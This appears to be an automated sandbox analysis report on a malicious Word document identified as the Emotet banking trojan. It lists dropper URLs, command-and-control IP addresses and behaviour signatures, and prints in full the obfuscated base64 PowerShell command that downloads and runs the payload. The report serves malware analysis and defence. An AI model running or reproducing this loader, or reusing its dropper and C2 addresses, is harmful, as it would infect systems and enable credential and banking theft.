Overview

overview

10

Static

static

8

W_RS5947693334AJ.doc

windows7_x64

10

W_RS5947693334AJ.doc

windows10_x64

10

Analysis

  • max time kernel
    81s
  • max time network
    91s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    15/09/2020, 05:31

Sharing

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General

  • Target
    W_RS5947693334AJ.doc
  • Size 152KB
  • Sample200915-espylddtt6
  • SHA256 444edfc514c9e7ddf7d47152ab219ed246f5fa2feacad2d9f98932df0901b406
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://www.gozowindmill.com/meteo/97/
  • exe.dropper

    http://www.greaudstudio.com/docs/Z/
  • exe.dropper

    https://b176f.cn/wp-admin/1/
  • exe.dropper

    https://blog.socialpill.in/jdzetd/fZuInax/
  • exe.dropper

    http://maisshake.com.br/wp-includes/dPmzV1/
  • exe.dropper

    http://mesdelicesitaliens.fr/wp-admin/tSlCBpP/
  • exe.dropper

    http://grndl.com/oinj/j4/

Extracted

Family

  • emotet

C2

  • 104.32.141.43:80

  • 104.156.59.7:8080

  • 120.138.30.150:8080

  • 139.59.67.118:443

  • 61.92.17.12:80

  • 103.86.49.11:8080

  • 174.45.13.118:80

  • 75.139.38.211:80

  • 104.131.11.150:443

  • 121.124.124.40:7080

  • 200.114.213.233:8080

  • 185.94.252.104:443

  • 181.169.34.190:80

  • 187.161.206.24:80

  • 93.147.212.206:80

  • 176.111.60.55:8080

  • 83.169.36.251:8080

  • 174.102.48.180:443

  • 24.179.13.119:80

  • 120.150.60.189:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 5 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\W_RS5947693334AJ.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:112
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABSADMAbABmAF8AZgAyAD0AKAAoACcASgA5ADEAeAB5ACcAKwAnAGwAJwApACsAJwA0ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAdQBzAEUAcgBwAHIATwBGAEkAbABlAFwARgAwAEIAdwBlADUANABcAGQARwB3AGwAcgBZADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIAZQBDAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAcgBpAGAAVAB5AHAAcgBgAE8AYABUAE8AYABjAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAKAAnADIALAAgAHQAbAAnACsAJwBzACcAKwAnADEAMQAnACkAKwAnACwAJwArACgAJwAgAHQAJwArACcAbAAnACkAKwAnAHMAJwApADsAJABBADYANgBqADYAdgB1ACAAPQAgACgAJwBVAGoAJwArACcAawBmACcAKwAoACcAbQBrACcAKwAnAGcAYwAnACkAKQA7ACQAVABxAGQAeQA5ADkAbQA9ACgAKAAnAFoAdwAnACsAJwBjAGsAcAAnACkAKwAnADUAJwArACcAYgAnACkAOwAkAFcAbgBpAHUAawBrAGoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwA0ACcAKwAnAHgAUAAnACkAKwAoACcARgAwACcAKwAnAGIAdwAnACkAKwAoACcAZQAnACsAJwA1ADQAJwArACcANAB4AFAARABnAHcAJwApACsAKAAnAGwAcgB5ADQAJwArACcANAAnACkAKwAnAHgAUAAnACkALgAiAHIARQBwAEwAQQBgAEMARQAiACgAKABbAGMAaABhAFIAXQA1ADIAKwBbAGMAaABhAFIAXQAxADIAMAArAFsAYwBoAGEAUgBdADgAMAApACwAJwBcACcAKQApACsAJABBADYANgBqADYAdgB1ACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQAQwBqAGgAZQBnADQANQA9ACgAJwBaAHQAJwArACcAaAAnACsAKAAnAG4AeQAnACsAJwB0AG8AJwApACkAOwAkAEcAdQBjAGgAcwBoADEAPQAuACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAJwArACcAYwB0ACcAKQAgAE4ARQB0AC4AdwBFAGIAQwBMAGkARQBuAHQAOwAkAEYAdwBsADEAcwBzAHYAPQAoACcAaAAnACsAKAAnAHQAdABwADoALwAvAHcAJwArACcAdwB3AC4AJwArACcAZwBvAHoAbwAnACsAJwB3ACcAKQArACgAJwBpACcAKwAnAG4AZABtACcAKwAnAGkAbAAnACkAKwAoACcAbAAnACsAJwAuAGMAbwAnACkAKwAoACcAbQAnACsAJwAvAG0AZQB0AGUAbwAvACcAKwAnADkANwAnACkAKwAoACcALwAnACsAJwAqAGgAdAAnACsAJwB0AHAAOgAvACcAKwAnAC8AdwB3AHcAJwApACsAJwAuAGcAJwArACgAJwByAGUAJwArACcAYQAnACkAKwAnAHUAJwArACgAJwBkAHMAdAB1AGQAJwArACcAaQBvAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AZAAnACkAKwAoACcAbwAnACsAJwBjAHMALwBaACcAKwAnAC8AKgBoAHQAdABwAHMAJwApACsAJwA6ACcAKwAoACcALwAvAGIAJwArACcAMQA3ACcAKwAnADYAZgAuACcAKwAnAGMAJwApACsAJwBuACcAKwAoACcALwB3AHAAJwArACcALQAnACkAKwAoACcAYQAnACsAJwBkAG0AaQBuACcAKQArACgAJwAvADEALwAqAGgAJwArACcAdAB0AHAAJwArACcAcwA6AC8AJwApACsAJwAvAGIAJwArACgAJwBsAG8AJwArACcAZwAnACkAKwAoACcALgAnACsAJwBzAG8AJwApACsAJwBjAGkAJwArACgAJwBhAGwAJwArACcAcABpACcAKQArACgAJwBsAGwALgBpAG4ALwBqAGQAJwArACcAegAnACsAJwBlAHQAJwArACcAZAAvACcAKQArACcAZgBaACcAKwAnAHUAJwArACgAJwBJAG4AYQB4ACcAKwAnAC8AJwApACsAJwAqAGgAJwArACcAdAAnACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACcALwAvACcAKwAoACcAbQBhACcAKwAnAGkAcwAnACkAKwAnAHMAJwArACcAaAAnACsAKAAnAGEAJwArACcAawBlACcAKQArACcALgAnACsAJwBjAG8AJwArACgAJwBtAC4AJwArACcAYgAnACsAJwByAC8AJwArACcAdwBwAC0AaQBuAGMAbAB1AGQAJwApACsAJwBlACcAKwAoACcAcwAvAGQAUAAnACsAJwBtACcAKQArACcAegBWACcAKwAnADEALwAnACsAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8ALwBtACcAKwAnAGUAJwArACcAcwBkACcAKQArACcAZQBsACcAKwAoACcAaQAnACsAJwBjAGUAJwApACsAKAAnAHMAaQB0AGEAJwArACcAbAAnACkAKwAoACcAaQBlAG4AJwArACcAcwAnACkAKwAoACcALgBmAHIAJwArACcALwB3ACcAKQArACcAcAAnACsAKAAnAC0AYQAnACsAJwBkACcAKQArACgAJwBtACcAKwAnAGkAbgAnACkAKwAnAC8AdAAnACsAKAAnAFMAbAAnACsAJwBDAEIAcABQAC8AJwApACsAKAAnACoAJwArACcAaAB0AHQAcAA6AC8ALwAnACkAKwAoACcAZwByACcAKwAnAG4AZABsAC4AYwBvACcAKwAnAG0ALwBvACcAKQArACgAJwBpACcAKwAnAG4AagAvAGoAJwArACcANAAvACcAKQApAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAdgBpADEAeABrAHAAPQAoACcASgAnACsAJwB2AHoAJwArACgAJwAxADEAbgAnACsAJwBuACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARgBtAGQAcwBlAG8ANwAgAGkAbgAgACQARgB3AGwAMQBzAHMAdgApAHsAdAByAHkAewAkAEcAdQBjAGgAcwBoADEALgAiAEQATwB3AG4AbABgAE8AYQBEAEYAYABJAGwAZQAiACgAJABGAG0AZABzAGUAbwA3ACwAIAAkAFcAbgBpAHUAawBrAGoAKQA7ACQARwA5AGkAYgAwADkAbwA9ACgAKAAnAFEAJwArACcAMQB6ACcAKQArACgAJwBwACcAKwAnADEAXwBwACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFcAbgBpAHUAawBrAGoAKQAuACIATABlAGAATgBHAGAAVABoACIAIAAtAGcAZQAgADIAOAA5ADEANQApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAJwArACcAZQAtAEkAdABlAG0AJwApACgAJABXAG4AaQB1AGsAawBqACkAOwAkAEwAYQA2AHcAbAB2ADYAPQAoACgAJwBGADMAJwArACcAdwBkAGQAJwApACsAJwB5AHcAJwApADsAYgByAGUAYQBrADsAJABUAGUAMQBrAG0AeABtAD0AKAAoACcARwBkADkAdgAnACsAJwBhACcAKQArACcAawAnACsAJwBvACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBzAGsAbQBzADUAOQA9ACgAKAAnAEsAaAAzACcAKwAnAGcAJwApACsAJwA0ADgAJwArACcAdAAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1676
    • C:\Users\Admin\F0bwe54\Dgwlry4\Ujkfmkgc.exe
      "C:\Users\Admin\F0bwe54\Dgwlry4\Ujkfmkgc.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:540
      • C:\Windows\SysWOW64\msasn1\winbrand.exe
        "C:\Windows\SysWOW64\msasn1\winbrand.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:640

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/112-2-0x0000000008930000-0x0000000008934000-memory.dmp
        Download

        memory/112-4-0x0000000006DE0000-0x0000000006FE0000-memory.dmp
        Download

        memory/112-5-0x000000000ADF0000-0x000000000ADF4000-memory.dmp
        Download

        memory/112-0-0x0000000006CE0000-0x0000000006DE0000-memory.dmp
        Download

        memory/540-16-0x0000000000240000-0x0000000000252000-memory.dmp
        Download

        memory/540-17-0x0000000000260000-0x0000000000270000-memory.dmp
        Download

        memory/640-22-0x00000000003A0000-0x00000000003B0000-memory.dmp
        Download

        memory/640-21-0x0000000000380000-0x0000000000392000-memory.dmp
        Download

        memory/888-23-0x000007FEF5140000-0x000007FEF53BA000-memory.dmp
        Download

        memory/1676-8-0x0000000002390000-0x0000000002391000-memory.dmp
        Download

        memory/1676-13-0x000000001C1D0000-0x000000001C1D1000-memory.dmp
        Download

        memory/1676-12-0x00000000028F0000-0x00000000028F1000-memory.dmp
        Download

        memory/1676-11-0x00000000022F0000-0x00000000022F1000-memory.dmp
        Download

        memory/1676-10-0x0000000002810000-0x0000000002811000-memory.dmp
        Download

        memory/1676-9-0x000000001ACA0000-0x000000001ACA1000-memory.dmp
        Download

        memory/1676-7-0x000007FEF1D10000-0x000007FEF26FC000-memory.dmp
        Download